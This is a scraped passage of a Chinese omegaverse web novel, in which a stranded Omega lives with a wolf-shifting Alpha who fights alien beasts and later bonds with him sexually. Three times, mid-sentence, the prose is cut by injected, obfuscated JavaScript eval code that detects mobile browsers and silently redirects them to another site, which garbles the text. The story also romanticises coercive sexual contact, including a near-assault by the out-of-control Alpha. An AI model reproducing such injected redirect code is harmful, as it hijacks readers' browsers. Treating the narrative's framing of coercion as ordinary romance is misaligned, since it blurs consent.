作为Alpha,对方会给他肉吃,这是Alpha从远古时就有的习性,在伴侣或追求对象面前展现自己强大的实力,是一种本能。 而那些亲密的接触,同样是Alpha对伴侣Omega会做的事情。 修·埃尔维斯的所有举动,都是出自本能和天性。 他所纠结的感情、礼节、道德,在如此原始自然的环境下,不值一提。 从他被送来的那一刻,就是修·埃尔维斯的既定伴侣。 对方的一切行为,都基于此。 做出什么都不奇怪了。 想通这一点,时诺眼神微凝。 他想象过自己的婚姻,哪怕是联姻,也会在两个人接触后,拥有少量感情的基础上,去完成结婚的流程。 上大学之后,除了同性的几个朋友,他的社交圈子不大,能接触到的Alpha时家一清二楚,见他没有和平民或者家世并不雄厚的Alpha来往,也就放心了,只等毕业后找个大家族合适的人选,让他们见面接触。 时诺性格平平无奇,长相漂亮,但在同龄世家中更漂亮耀眼的Omega衬托下,并不出众,他很听家里的话,几乎没做过出格叛逆的事。 他无法决定自己的伴侣,不过内心有一点偏好。 自己有多软弱只有自己清楚。 时诺喜欢和性格温和的人来往,而攻击性太强的人,尤其在体魄上占优极大的Alpha,往往是他躲避的类型。 他并非讨厌这种长相和性格,也不是有多喜欢温柔的人。 一次恋爱经验都没有,连他自己都不知道自己的择偶观是什么,他只是见过一群强壮好斗的Alpha打架,荷尔蒙爆发,信息素狂乱释放,拳拳带风,两方下手都十足狠厉,断掉后扭曲的肢体和迸溅而出的鲜血曾经一度是他的噩梦。 看着就无比痛苦,围观的人有一部分觉得帅、燃,他只觉得腿软,从那以后,看见那群凶狠的Alpha,能躲多远就躲多远。 大学校园里各种Alpha都有,每次看见戴眼镜、温柔斯文的,他都会在心里期盼,希望家里给他挑的Alpha也这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13682631|144275||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好相处。 长相野性,做事直白的修·埃尔维斯,正好和他期盼的伴侣相反。 哪怕对方外貌是他见过最出色的Alpha,也不足以抵消他对这种类型的天然畏惧。 而最矛盾的,是临时标记后,他对修·埃尔维斯生理和心理都产生的依赖,在对方浓厚的信息素氛围里,他像是被引诱一般,有时不由自主想要打开卧室门,去靠近对方,得到更多安抚。 幸好他意识清醒,可以压制住这种念头。 想靠近,又因天生畏惧而不敢,渐渐的,时诺感到烦躁。 他转了个方向,盘腿面向床西边的窗户,风吹个不停,大地有点点绿意恢复,他深呼吸努力让自己平复。 客厅。 趴在地毯上休息的白狼睁开眼,从Omega的信息素中,它分辨出躁动不安的情绪。 这是临时标记后带来的影响,Omega同样可以察觉到Alpha的些微喜怒,不过只有在Alpha情绪波动强烈的时候。 白狼特殊一点,情绪不用那么强烈,只要它想,就可以从信息素中分辨出一些情绪。 时诺躲在卧室的行为它没意识到,即便意识到了也不会在意。 对它来说,柔弱胆怯的Omega,就应该待在更安全的地方,卧室是对方认为的安全领域,也更私密一些,因此它没有冒然打扰。 天气好,没有危险,水也不缺,那么能让Omega不安的,只剩下食物。 想起昨天时诺就把鱼虾吃完了,它起身,叼起一个小桶,迈步出了大门。 这次可以捉更多鱼虾,等到夜晚,就有正当理由进入Omega的卧室。 淡粉的唇像花瓣一样,柔软细腻,在它脑海里反复浮现了好几天。 在这之前,他从不知道Omega的唇竟然可以是粉色花瓣一样的颜色,连形状都无比勾引人,也不知道是什么味的,上次不小心舔到,只觉得软,或许可以含起来慢慢品。 用人形好像更方便。 白狼神色是惯有的漠然,只是嘴里叼了个小桶,这对兽形完全体的它来说,宛如小小的玩具,冷酷感大大减弱。 它浑然不觉,懒懒散散往河边走,只是还没走出多远,突然变了眼神,仰头盯向高空。 碧蓝的天幕高旷无垠,连飞鸟都看不见,只有白云缓缓飘过。 · 在窗前走神的时诺被一声咆哮惊醒。 空气波动如无形潮水,快速荡开。 波纹迅速蔓延,他呼吸被迫暂停了一瞬,等到波动掠过,才得以喘息。 窗外的景象映入眼帘。 白色虚影从远处追来,隐隐可以看到炽烈的白色火焰在虚影周围燃烧。 一团黑色被白狼武器一般的巨大尾巴重重横扫,坠落至地面,等两方都落地后,时诺才看清是白狼和一只黑色野兽。 黑色野兽长得像狐狸,却丑陋得多,肩高差不多两米,也是一头巨兽,从头到尾有鳞片状的黑甲覆盖,一张嘴发出奇特的叫声,声音不大,乍一听没什么,第二声便如长针刺入脑海,搅起剧痛。 时诺脸色瞬间煞白,之前听到的那声怒吼再次响起。 白狼以咆哮回击,一双蓝色兽瞳盯着黑狐狸,眼神变冷。 震颤灵魂的狼声怒吼瞬间让时诺脑海中刺痛减轻。 15.第 15 章 黑狐狸瞥一眼窗户,尽管晶石玻璃做了处理,但在它视线中,时诺的身影一清二楚。 灰绿色眼珠转动,是独属于凶兽的残忍和狡诈。 白狼没有任何犹豫,跃起扑向黑狐狸,它体型和力量更占优势,黑狐灵活避开了正面撕咬,一双绿眼阴恻恻的。 白狼紧追不放,有力的尾巴同样是武器,它身体极为迅速扭转,重重一尾拍中黑狐左后腿,随后粗壮厚实的利爪袭去,在黑狐脊背留下三道深深的血痕。 黑狐受痛,发出一声尖锐叫声,刺耳不已。 时诺连忙关紧门窗,这声音吵得他头疼,但也知道自己不能成为黑色野兽的目标,否则会很麻烦。 落锁的机括声响起,白狼耳力很好,刚才一番试探交锋,它达到了目的,房子和时诺都被它挡在身后。 黑狐狸被疼痛和血腥味道刺激,眼睛越来越绿,在白狼再次攻击扑来时,没有选择后退,狠狠冲了上去。 野兽之间的撕咬充满血腥,利爪和獠牙是最尖锐的武器,每一次扑咬碰撞都会见血。 两头明显有异处的巨兽不止用武力较量,空气中阵阵波动激荡,陷入波动中的动物瑟瑟发抖,甚至被层层无形气波压迫致口鼻流血。 Alpha的信息素宛如海洋浪涌,将时诺裹入无形屏障中,气波震荡带来的压迫感倏然减弱。 白狼和黑狐狸的厮杀很快,几乎是残影,只有在分离落地的时候,他才看清楚白狼身上带了几道浅浅的伤痕。 很久没有受过伤,血腥味让白狼心头窜出一股无名火气,强烈的嗜血冲动上涌,连眼睛颜色都加深几分。 獠牙撕咬,肉身碰撞,是野兽之间最原始的厮杀本能。 剧烈冲击下,黑狐被迫滑退几步,灰尘如烟,咆哮声不断,地面微微震颤。 一次次交锋,黑狐狸原本仗着灵活和速度,勉强还击,在白狼不再有任何保留,全力攻击之下,它连速度也失去优势。 不到五分钟,战斗在白狼恶狠狠咬住黑狐狸的脖子后结束。 隔着窗户,时诺也听见脖骨被嘎嘣咬断的一声脆响。 他看见白狼甩掉黑狐狸尸体,从尸体断掉的脖颈处涌出大量血液。 白狼获得了胜利,一身健硕的肌肉紧绷。 野兽习性让它发出一声雷鸣般的咆哮。 这种咆哮吼声和普通狼群的嚎叫完全不同,充满沉重的压迫感。 这是对所有生物的示威,远处树林微微有风动,藏起来的各种野兽不敢发出丝毫动静。 黑狐狸是一种星际流浪兽,以速度和狡诈出名,实力很强,但偏偏落在这颗星球,遇到了修·埃尔维斯。 白狼圈了整颗星球做地盘,任何外来入侵者都是它的死敌。 这种星际流浪兽身上的鳞甲坚实特殊,呼吸构造也极为奇异,经常团成一团跟随星流在宇宙中飘荡,或者是扒在星舰底部搭顺风车。 等找到合适的地方,会主动脱离星流或者星舰进入目标星球肆虐,所过之处皆是杀戮,每每都会造成生物种群数量骤减,造成难以估量的损失伤害。 犹如蝗虫一般,在任何地方都不受欢迎。 白狼十分厌恶这种浑身阴暗的生物,五年前也有一头星际流浪兽降落,它找到踪迹,最终杀了那头流浪兽。 这颗星球处于边缘星系,又没有力场保护,容易遭到外来侵袭。 埃尔维斯家族以前有过建造力场的计划,但因为这颗星球被分给它做领地,不再属于埃尔维斯家族公共产业,再加上潮汐风暴的影响,建造保护力场的代价十分昂贵,因此计划被取消。 白狼唇边沾血,毛发上也有血迹沾染,它受了一点轻伤,丝毫不致命,但浓烈的信息素狂躁翻涌,连五感迟钝的时诺也发现了不对。 兽化发狂的病症,几乎都伴随着信息素紊乱崩溃。 眼下很有可能是被战斗刺激之后,病症复发了。 时诺脑海里的念头刚起,白狼倏然回头,隔着玻璃盯住了他。 它往这边走,不再刻意放松脚步,庞大雄健的四爪踏过地面,留下很深的脚印。 时诺惊恐地睁大眼睛,不等他提醒白狼,白狼一转头,口中白色烈焰喷出,将偷袭的黑狐狸烧成一团。 尖鸣声凄厉嚎叫,比刚才那只黑色狐狸小了两圈的黑狐从空中跌落,它试图在地面打滚,但身上炽烈的白色火焰根本灭不了。 烧成一团灰烬后,火焰自发熄灭,只留下呛鼻的灼烧味。 至于大黑狐的尸体,白狼忍着暴躁回头,同样口吐火焰,烧了个干干净净。 烈焰属于它的本源力量,太久没有遇上实力相当的对手,它起了好斗心,因此之前没有直接用白火。 看见地上只剩灰白色的残渣,连骨头都烧化了,时诺松了一口气。 他刚才看见死掉的黑狐狸肚皮鼓起,从中钻出一只血淋淋的小黑狐狸,白狼又恰好背对着,吓得他脸色煞白。 不知道是从哪里来的野兽,附近的动物一看见白狼就立刻远离,至今他只见过这一头和白狼正面对上。 巨狼离房子不远,火焰熄灭后,它抬头看向房间玻璃。 时诺视线和那双兽瞳对上,后背发凉。 意识到窗户太小钻不进去,白狼绕到正门那边。 卧室里的时诺根本没有地方躲藏,很快,他看见门把手转动,房门被从外面推开,一头野兽闯入。 · Omega信息素大量释放,试图安抚暴躁不已的Alpha,茶栀花香扑鼻,清甜中带着丝丝缕缕的柔和茶香。 被压在地上的时诺逃不开禁锢,只能被迫背对着。 白狼信息素失控,大量暴虐的Alpha信息素在房间翻涌,攻击性很强,但找不到攻击对象,只有柔柔怯怯的Omega信息素试图靠近安抚。 Alpha信息素忽视Omega信息素的安抚,直接扑向最浓郁的气息来源——时诺。 生理和精神都被压制,时诺觉得身体很沉很重,他抬不起头,渐渐有了晕眩感。 炙热难以忽略,滚烫极了,他被晃得颤动,无法逃开。 意识到Alpha想更进一步的时候,时诺惊悚,冷汗倏然落下,衣服几乎瞬间湿透。 会死的。 “冷静,埃尔维斯先生,求你了。” 眼泪大颗大颗滚落,他完全感受不到,惨白着一张脸求饶,声音沙哑。 求了很多声,企图唤醒白狼理智,但似乎毫无作用,衣服被撕裂的一瞬,时诺生平第一次失控尖叫。 “走开!” 他不会骂人,只能竭尽全力反抗,尖声中满是恐惧。 尖锐的哭泣和叫声渐渐变得清晰,白狼倏然停下。 惊慌失措的时诺往前爬了几步,逃脱禁锢后,背靠着墙缩成一团,嘴唇发白,眼眶湿红,戒备地看向白狼。 他压抑着哭泣,没敢多发出声音。 白狼清醒后,想起刚才在Omega身上的耸dong,它僵硬站在原地,耳边响起一些模糊的声音。 “失控了!” “少爷又失控了。” “快,麻醉剂,束缚带!” “火!” “白火!” 多年前的记忆袭来,有乱糟糟的喊叫,也有恐惧的哭嚎声。 一切混乱的来源都是它。 修·埃尔维斯理智回归,年少时的种种经历浮现,它无比讨厌失控的感觉,好像一切意识都被屏蔽在感官之外,模糊不清,混乱暴躁的世界只剩它一个,它也只剩下本能。 这两年平静的生活让它产生了错误判断,以为自己已经可以控制住力量和野兽本性。 白狼烦躁极了,转身离开。 · 裤子被撕裂一条,时诺没舍得扔,不知道要在这里待多久,他试着用针线缝补。 手艺很差,缝出来的针脚歪歪扭扭,很丑,丢进清洗机洗干净后,他把这条裤子叠好,放进衣柜最下面,万一以后没裤子穿了,还能留作应急。 外面野草依旧幼嫩,没到采挖的时候,白狼离开两天了,没有回来过。 无论它在不在,时诺的生活都一如既往无趣,不用出去就只能待在房子里,没有书看,也没有任何娱乐。 来到这里过于匆忙,平时无论在哪里,都有星网信号,他没有往光脑下载东西的习惯。 逐渐接受了在这颗星球生活,无聊至极的时候,他很渴望有一本书看,或者一部电影,可惜无法实现,只能坐在凳子上发呆。 第三天一早。 时诺吃完早饭,空荡荡的餐厅和客厅时而很大,时而又显得憋闷难忍,他控制光脑打开大门透气,一抬眼,就看见门外放着的小桶。 他这两天注意力不集中,都没发现少了一只桶。 Alpha的信息素始终盘桓在这片原野,不会再有第二个人。 有大虾从桶里跳出来,弓着身躯不断扭动,时诺快步走过去,看见满满一桶鲜活鱼虾后,陷入了沉默。 远处。 隐藏在大石后面的白狼见Omega提了桶进去,满身烦躁堪堪平息一些。 它眉头紧皱,来到河边一处明显新挖出来的水池中,走进水中趴下浸泡。 风吹拂,流淌不息的大河波光粼粼。 即将进入初秋,天湛蓝透彻,没有被污染过,一切都透着勃勃生命力。 水池底部嵌了石块,一颗深蓝色宝石沉入其中,闪着光芒。 这是一颗净水石,一种稀有的功能型矿晶,进水之后能杀死多种有害微生物和虫子虫卵,散发出的特殊味道是绝大部分水生动物厌恶的,因此用来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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曾经有人想用兽心里的能量治疗无法化出人形的Alpha,研究进化,只是那股能量太特殊,一旦脱离晶石,就会变得狂暴,实验几乎都失败了,能存活下来的Alpha,即使拥有了人形,也活在被能量折磨的痛苦中,无法彻底吸收容纳。 修·埃尔维斯记忆很深刻,九岁那年,他化作兽形趴在自己地盘上睡觉,睡醒后男仆为他端来一盘水果,他年纪太小,即使对家中复杂的各路人马都有防备,还是中招了。 兽心被伪装成一颗水果,极好的伪装,花了大价钱,表面、气味和水果没什么区别。 他维持着兽形吃水果,再伪装,晶石的坚硬也无法伪装出来,“水果”入口的瞬间,他想吐掉,但一股极强的信息素压制袭来,迫使他吞下了那颗晶石。 晶石的作用是进化,可他已经拥有人形,晶石能量带来了无边无际的痛苦,全身肌肉骨骼在本能进化,被过量的能量撑得不断爆裂,又在极强的修复下不断恢复,周而复始。 极端的痛苦中,他很少能保持清醒,即使清醒过来,满心满脑都是压抑不住的暴戾情绪。 家族中夺权争势的事情不少见,他作为继承人,本就处于风浪顶端,那段时间埃尔维斯家族无数人被罚,但害他的人,那个同父异母的弟弟和继母,却始终没得到真正的惩罚,只是禁闭和鞭打惩戒。 埃尔维斯家族需要继承人,废了他一个,不能再废另一个。 治疗没有耽误,可兽心的力量,任何高明的医师来了都束手无策,等待他的下场就是彻底兽化,丧失人性,变成最凶残的野兽。 也有一种可能是承受不住能量,全身肌肉骨骼爆裂而死。 他挣扎的那几年,生理意义上的父亲并未直接废掉他继承人的头衔,对方告诉他,只要他挺过去,会让他亲手惩戒继母。 磅礴无尽的能量在体内摧毁、异变,让他进化出一种特殊能力,白色火焰在血液里流淌,在骨骼上燃烧,梦中他似乎变成了火焰,肆意燃烧。 特殊进化仿佛是在好转,然而他还是兽化了,体型比一般的肉食型兽人更大,难以控制的兽化伴随着失控和伤人。 十五岁那年,它失控之下咬掉了继母右手和小臂。 火焰附着在对方残肢伤口处,难以熄灭的烧灼让那个Omega晕死又疼醒,火焰带来的伤害太大,原本还算容易的断肢续接成了妄想,对方只能安装假肢。 被流放至异星球,他并不后悔,神智清醒时,那些虚伪的话、虚伪的人,在他眼中犹如苍蝇,烦不胜烦,他早已厌倦。 这十年间兽性释放,遵循着本能在旷野和山林中奔跑、厮杀,没有阴谋诡计,也不用面对一张张虚伪阴险的脸。 自然之中,一切山水、草木和生物,都原始朴茁。 大地浑厚,高天苍茫,脚下踏着的泥土孕育着无数生命,它感受着,身体中狂暴的能量与之震动、连结。 它得到了久违的休息,以及最好的治疗——自然之力。 16.第 16 章 又过去五天,野草坚韧,在充足的阳光雨露滋养下,生长势头很猛,大地被成片成片绿意覆盖。 天气明显变得凉爽,风也比之前多。 时诺在外面寻找野菜,草丛中偶尔有一只小型动物窣窣穿过,速度很快,只能看见晃动的草。 自从他身上带着Alpha充满攻击性的信息素后,几乎没有任何小动物靠近,就连这片原野,自从白狼到来后,类似兔子老鼠之类的动物很难再见到。 这几天外面的Alpha信息素没有减弱,显然白狼还在附近,没有走远。 时诺不知道怎么面对对方,出自Alpha本能的保护,让他有足够的安全感,只是发生的那些事情…… 但仔细想想,好像从一开始,白狼的目标就很明确,无论是临时标记还是那些直白的舔舐,一步一步变得出格。 对方体魄强健,他根本反抗不了,很害怕,失控的Alpha如果化成兽形进入情【】事中,是一件很恐怖的事,别说三米高的完全体,即使只有一米五高的白狼,都有可能让他丢掉性命。 他当时切实感到了滚烫炙热的恐怖,死亡的阴影几乎立刻笼罩下来,这种死法太过难堪,超出了他所能承受的范围。 他知道结婚后要面对什么,如果是正常的临时标记和发生关系,其实并不抵触,毕竟对方和他是法律意义上的伴侣,合法,合理。 在这个没有第三个人的陌生星球,只有他们是同类。 最重要的,有临时标记后带来的生理影响,也有时诺天性的怯懦,根本不敢拒绝白狼的亲近。 一路走走停停,两桶都满了以后,时诺转身往回走,今天的野菜足够鲜嫩,冷储柜里的肉已经彻底吃完了,不过他还有一条鱼和几只虾。 食物上的照顾让他明白,修·埃尔维斯不是坏人,它之前有足够的冷静和理智,那天应该是因为厮杀的刺激才失控。 这确实让他产生了一些担忧,外界刺激会让对方有失控的可能,他一个人,连武器都没有,根本无法控制对方,如果长久一起生活,有一定的隐患。 心头的沉重感在看见白狼漫不经心走近时,忽然消散。 视线撞进那双如蔚蓝海洋一样颜色的兽瞳中,其中冷冽细碎的光芒,宛如海面折射出的璀璨光彩,几乎晃花眼。 时诺从没见过这么漂亮的眼睛。 他避开白狼紧盯过来的眼神,攥紧手里的小桶提手,没说什么,抬脚继续往前走。 落后几步的白狼尾巴轻甩一下,悠闲跟在后面,进了大门后,照常趴在客厅地毯上休息。 · 失控的事情被无声揭过,白狼很满意,它之前差点失控伤害了Omega,那一桶鱼虾是赔偿。 时诺在门口择好菜,拍干净衣服上的土和一些草籽,脱掉脏鞋才进了门,他脚步很轻,绕开地毯边缘,径直往厨房走。 快到中午,肚子有点饿了。 厨房距离客厅有一段距离,隔着餐厅看不见在里面忙碌的人。 但能听见动静,白狼撩开眼皮,懒懒盯了一眼厨房方向,耳朵转动,微微抖了抖。 很快,菜味和鱼肉的味道飘出来,它不觉得奇怪,大部分Omega都喜欢素食,只是那个味道对它来说太过寡淡,连食欲都提不起来。 等到时诺端饭从厨房出来,客厅的白狼又不见了。 · 下午。 草丛随风摆动,发出沙沙慢响的舒缓声音。 时诺午睡醒后又开始忙碌。 天气变化已经明显了,应该会进入一个偏凉的季节,土豆被摧毁,不知道多长时间才能长出来,他只能尽可能多的囤些野菜晒干。 沿河的土地湿润,水分充足,长出来的野草野菜更多。 还没到河岸,远远的,时诺就看见水边有一团白色阴影。 如此巨大的野兽,除了白狼不会再有第二个,不知道是不是在自然环境中待久了,他视力变得比以前好,凝神细看,就看清白狼是在进食。 粗壮狼爪下的那头猎物看起来像鹿,长着一对小角,皮毛是红色的。 红鹿身下流着一滩血,颜色鲜红,显然是刚到手的新鲜猎物。 时诺以为自己会恐惧这样原始的进食画面,实际上他看着白狼从红鹿肚子撕下一块血淋淋的嫩肉,仰起脖颈大口吞吃入腹,他咽了咽口水。 鱼虾和这种陆生哺乳动物大块新鲜的红肉不同,尤其口感上。 红肉油脂丰富,炖来不及了,太慢,应该吃饱后有时间了再去慢慢炖,有骨头的话还可以炖香浓的骨头汤。 肉切成薄片煎一煎熟得最快,煎出来的脂香味分外诱人,瘦的焦香,肥的部位爆油。 煎肉排也很不错,厨房里有很多调料和酱汁。 时诺舔舔嘴巴,短短两分钟内,脑子里就幻想出多种吃法。 野兽在进食状态下,攻击性有可能很强,白狼又属于强硬性格一类的,不知道会不会驱赶他,毕竟兽性真实存在。 一切忧虑犹豫,都被对肉食的极度渴望打败。 时诺不由自主往那边走,还有十米左右的距离时,白狼倏然抬头,嘴部和爪子沾着血迹,它肩高三米,几乎有一层楼那么高,就这样盯过来,压迫感过于沉重。 刚才离得远,红鹿被它按在爪子下,看起来只是一头小猎物,实际离近了,时诺才发现红鹿体型不小,四肢着地应该有一人高。 这么大一头,肉对白狼来说好像不算多,但对他来说,只捡到一块,都足够吃很久了。 红鹿被撕裂,肚腹被剖开,就这么血淋淋呈现在眼前。 血腥味道很浓,被风带远。 有肉食性野兽鼻头耸动,不住嗅闻风带来的信息,循着气味找来,然而在接近白狼圈出的地盘后,很快掉头就跑。 进食的时候,白狼讨厌一切觊觎它食物的生物,刚才以为时诺是往河边走,不想对方越来越靠近,这让它本能性警觉。 时诺停下,不敢再靠近。 白狼不明白他想做什么,吐息微微一重,又低头撕扯猎物肉块,只用余光留神。 它看起来很挑剔,将红鹿肚腹肉又扯又咬,弄得七零八碎,只挑最嫩最鲜的部位吞吃。 那些大块的肉掉在地上,它也不怎么珍惜,连看都不看。 这头红鹿不小,又是刚捕猎到,它吞吃的模样虽然野性十足,但并不着急,吃完需要一阵时间。 在白狼进食的期间,时诺悄悄又往前迈了几步,随后一边观察白狼一边悄然前进。 他的心神都落在地面那些碎肉上。 肉从狼口中滚落,沾了灰带了土,这些对白狼来说只是碎肉块,但对他来说,就是好几斤重的大肉块,一块就足够他吃很久。 红鹿的肉看起来肥肉少,那些肉块看起来都是鲜红的瘦肉,这样也好,他很久没吃过大荤,油脂太厚对身体不好。 时诺咽了咽口水,整个心神都被肉块引诱,连白狼的神色都顾不上观察。 他靠得越来越近,白狼巨大的影子几乎要遮住他时,他才想起来观察一下。 白狼没理他,正在撕扯皮毛,用一只前爪按住,随后低头咬住皮毛下的一条嫩肉。 自欺欺人一样,时诺蹲下,试图弱化自己的存在感。 他视线落在前面地上,只要一伸手,就可以摸到地上那块带血的肉。 他吃得不多,一块就好,只要一块。 白狼对他的靠近没有做出驱赶,是不是,可以理解为默认。 肉近在眼前,时诺再也忍不住诱惑,伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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五片肉都煎好夹出来,他端起盘子,想起忘了撒盐,赶紧拿了盐瓶来,随后夹起一片肉,吹一吹,试着咬进嘴里,发现不烫了,就整片塞入。 煎肉油脂充沛,外表焦香,薄的肉很嫩,稍厚的肉片带一点肥,不老不柴,一口塞进嘴里,无比满足了油脂爆香的期待。 这种肉是他第一次吃,不知道红鹿具体叫什么,味道不腥不膻,肉中带了一点说不上的清香,应该是食草动物。 一盘吃完,他又煎下一盘。 厨房换气系统在运转,油烟和大部分味道被排换出去。 白狼无声无息从敞开的大门走进来,它毛发已经打理干净,不再有任何血污沾在身上,进食完后,它在水中仔细清理了自己。 河边的残缺猎物被火焰烧成灰烬,它讨厌猎物尸体腐臭后的味道,不允许自己的核心地盘上留存任何恶心东西。 它嗅到久违的熟肉香气,上一次吃熟食是什么时候已经想不起来。 比起鱼虾的味道,明显红肉更吸引它,不过它刚才已经吃饱。 和之前不同,红鹿是它给自己捕猎的肉食,从它口中夺食,哪怕是它不吃的肉,是Omega的话,可以忍受,但对方必须付出相应的代价。 分享食物这件事在他记忆里根本不存在,一出生就是埃尔维斯家族继承人,年幼时餐桌上常常只有他自己,没有任何人会觊觎他的食物。 哪怕和同龄人相处,也没有人会冒犯拿取他的食物,家世原因,他所接触的人里,从来没有吃不饱饭的,因此分享这件事他从未做过。 趴在地毯上,白狼假寐。 它在等待。 临时标记已经无法平复越来越重的yu念,它需要更多。 17.第 17 章 大快朵颐的时诺一无所觉,口腹之欲在十几片肉下肚后稍有缓解,他还想吃。 理智挣扎之后,他放下筷子,虽然之前吃鱼吃虾,但油脂没这么重,这里又没医生和其他药物,还是顾及一下身体,循序渐进。 他只切了一小部分,剩下那些肉足够后面慢慢煎着吃炖着吃。 肉食的摄入让心情不由自主变好,他喝了半杯温水,收拾干净厨房,出来看到趴在地毯上睡觉的白狼,连畏惧都减弱了两分。 大部分野兽有护食的天性,白狼显然也不喜欢进食的时候被打扰。 他很感激对方,想说声谢谢,但白狼连眼睛都没睁开,他犹豫一下,还是没凑上去,放轻脚步出了门。 天色还早,肉片下肚后,浑身暖洋洋的,力气都像是大了些,趁着白天多挖些野菜回来。 · 傍晚。 玫瑰紫、浅葡萄紫的云团布满天际。 西边被太阳染成金粉色的云彩宛如一副绚丽油画,色彩浓重。 金乌沉坠,最后一缕阳光被吞没。 光线渐渐黯淡,两轮月影挂在天幕之上,一大一小,清凌凌的月光洒下,透出几分冰冷肃穆。 黑暗尚未彻底笼罩,微风在吹拂,淡紫的云缓缓飘动。 没有迷乱灯光,没有人烟喧闹。 草木遍布原野,天空澄净,深深蓝调如梦。 无边无际的安静在蔓延。 很快,夜色降临,星光璀璨,一闪一闪的。 渐渐有虫鸣响起,听起来有些朦胧。 时诺坐在门口仰望,眼中倒映出星河,余光中,他忽然瞥见一颗星星坠落在地,微光不断闪烁。 抬眼望过去,才发现是一群萤火虫,飞舞又落下,像是草丛中的一场盛会。 星光、萤光交错,似互相倒映。 这是他第一次观察夜色,Alpha的到来让外界看起来不再那么渗人。 晚风冷了,时诺起身,拎起小凳子回去,这张折叠小凳应该是建房子的人留下的,对他来说正好。 客厅明亮,白狼换了个姿势躺在地毯上,它尾巴甩了几下,不知道是什么意思。 大门和窗户落了锁,时诺看一眼白狼,在对方那双如蓝色海洋的眼睛望过来时,他低头错开,轻手轻脚进了卧室,反锁好门。 洗漱洗澡,热水汽在浴室蒸腾。 如此荒蛮原始的地方有热水澡可以洗,是可以抚慰心灵的慰藉。 时诺今天心情很好,眉眼中的郁色不再浓重。 房门被无声打开,接着是同样反锁起来的浴室门。 白雾中,时诺耳边是哗哗水声,空间似乎被挤压,随着高大男人的走近,逼迫感和窒息感迎面而来。 修·埃尔维斯一头白色短发,像是随手拨弄两下,慵懒随性但不凌乱。 他目光紧锁淋水中的Omega,水雾沾上他胸膛,凝成水珠缓缓滑落,冷白肌肤丝毫不显粗糙,只是体魄精壮,透出种野性的性感。 他个子太高,体型修长匀称,肌肉流畅紧实,又不失健硕,实打实的力量感展现在时诺眼前。 时诺瘦弱,和闯进来的男人形成过分明显的体型差距。 两人都白,不过时诺肌肤更加细腻莹润,嫩白耀眼,离近了便能看出色号差。 “埃、埃尔维斯先生。”时诺没什么底气,结结巴巴说完,就看见男人解下了腰间兽皮。 · 湿漉漉的浴室、混乱的床榻,闪影一样在梦中闪过。 时诺迷迷糊糊翻个身,迷蒙睁眼又闭上,意识到刚才看见了什么,一双眼睛倏然睁大。 他侧躺着,正好看见睡在床边的男人。 修·埃尔维斯侧脸轮廓清晰流畅,是冷硬强势一挂的长相,谁也不能忽略那份极致的帅气和俊朗。 睡着后的模样有几分平和安静,多了份居家感。 房间温度调得高,薄被不知道被谁丢在了地上。 昨晚混乱的记忆涌现,时诺眼睫轻颤,被忽视的身体各处渐渐昭显存在感,没有一处舒服的地方,肚子很撑很胀,已经鼓起来。 床不大,堪堪能睡下两个人,因此挨得很近。 时诺可以感受到对方皮肤,偏高的体温让他感到不自在,然而终身标记已经形成,生理性因素让他喜欢这样紧挨着。 不由自主想要依赖对方。 成结的过程十几分钟,说长也不算长,却硬生生被痛苦延展得无比漫长,他神智涣散,只有体内感受最清晰。 修·埃尔维斯没停,休息过后便是新一轮欢愉,终身标记后,本能大过理智,时诺想起自己的失态迎合,耳朵瞬间红透发烫。 腹部太撑了,要去浴室,他忍着酸软的肢体,尽可能放轻动静坐起来。 修·埃尔维斯挡在外面,他只能从床尾下去,站不起来只能爬着走,即使这样,快到床尾的时候还是支撑不住,身体倏然一软。 极力想控制也控制不了,他倒在了修小腿上。 “怎么了?” 一道微微沙哑的低沉嗓音响起,修·埃尔维斯睁开眼,一只手撑在床上坐起。 时诺有些狼狈,缓过后支起身体坐好,抱膝蜷缩着,试图遮挡自己身上痕迹。 他脸皮薄,即使有了实质关系,也觉得太过坦荡不好。 修·埃尔维斯神色倦倦的,撩起眼皮问:“你在做什么?” 时诺昨晚就听过对方说话,并不惊奇,他哑着嗓子说:“我想去浴室。” 修眉眼困顿,一副没睡醒的模样,闻言伸长胳膊,将床尾的Omega一把抱起,下床抱着人进了浴室。 Alpha年轻健壮的体魄,被抱在怀里的Omega漂亮白皙,十足的相配、契合。 凌乱的呼吸声从浴室传来,伴随着隐隐啜泣。 · 已经是下午。 餐厅,两人坐下吃饭。 肉汤有点咸,加了水才好一点。 时诺舀出里面的肉块和野菜填饱肚子,热乎乎的汤下肚,才觉得心满意足。 修对做饭这件事很陌生,根本无从下手,还是在时诺的提醒下一步步完成,不过起码煮熟了,只是味道太差,他捏着勺子可有可无吃了一碗。 他本来就挑剔,不大喜欢这顿饭,因此神色懒懒的。 时诺坐在旁边,吃完放下勺子,看见修瞥过来的视线,他一顿,小声说:“很好吃,谢谢。” 好吃? 修皱眉,他觉得这是个谎言,视线不由落在对方碗中。 时诺吃得干干净净,连汤也喝完了,碗里没剩什么东西。 修·埃尔维斯不理解,他不认为这东西好吃,但Omega确实吃完了,他略低的嗓音富有磁性:“你在说谎。” 他语气很笃定。 被当面戳穿,时诺一下子窘迫起来,不知道该怎么回答。 他从没遇到过这种情况,吃了别人做的东西,赞美和道谢是礼貌,哪怕是客套性的礼貌。 他从没见过有人会当场拆穿这种客套。 修·埃尔维斯的直白性格,好像有点不好相处。 但对方一双深邃漂 